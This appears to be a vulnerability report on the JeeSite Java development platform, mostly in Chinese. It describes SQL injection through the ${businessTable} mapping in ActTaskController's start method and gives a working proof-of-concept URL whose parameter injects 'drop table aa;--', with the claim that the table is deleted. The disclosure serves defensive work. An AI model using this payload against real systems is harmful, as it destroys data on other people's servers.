Java rapid development platform, based (Spring Boot, Spring MVC, Apache Shiro, MyBatis, Beetl, Bootstrap, AdminLTE), online code generation, including modules: Organization, role users, menu and button authorization, data permissions, system parameters, content management, workflow, etc. Loose coupling design is adopted; one key skin switch; account security Settings, password policies; Online scheduled task configuration; Support cluster, support SAAS; Support for multiple data sources
sql mappings
以下的${businessTable}存在SQL注入的风险
RequestMapping
com.thinkgem.jeesite.modules.act.web.ActTaskController 类中的 start 方法
Call Stack
SQL Inject
当用户为jdbc.url添加&allowMultiQueries=true并启动程序后,此时Spring允许批量更新,就能进行SQL注入了
测试表为aa表
任意用户执行以下url,
url: http://localhost:8080/jeesite/a/act/task/start?procDefKey=test_audit&title=dd&businessTable=79&businessId=oa_test_audit%20set%20proc_ins_id%20=%20%271%27%20where%20id=%2779%27;drop%20table%20aa;--
Mybatis将SQL进行拼接并删去aa表,
再次执行上述url时,此时已经不存在aa数据表了
查看mysql,发现aa表已经被删除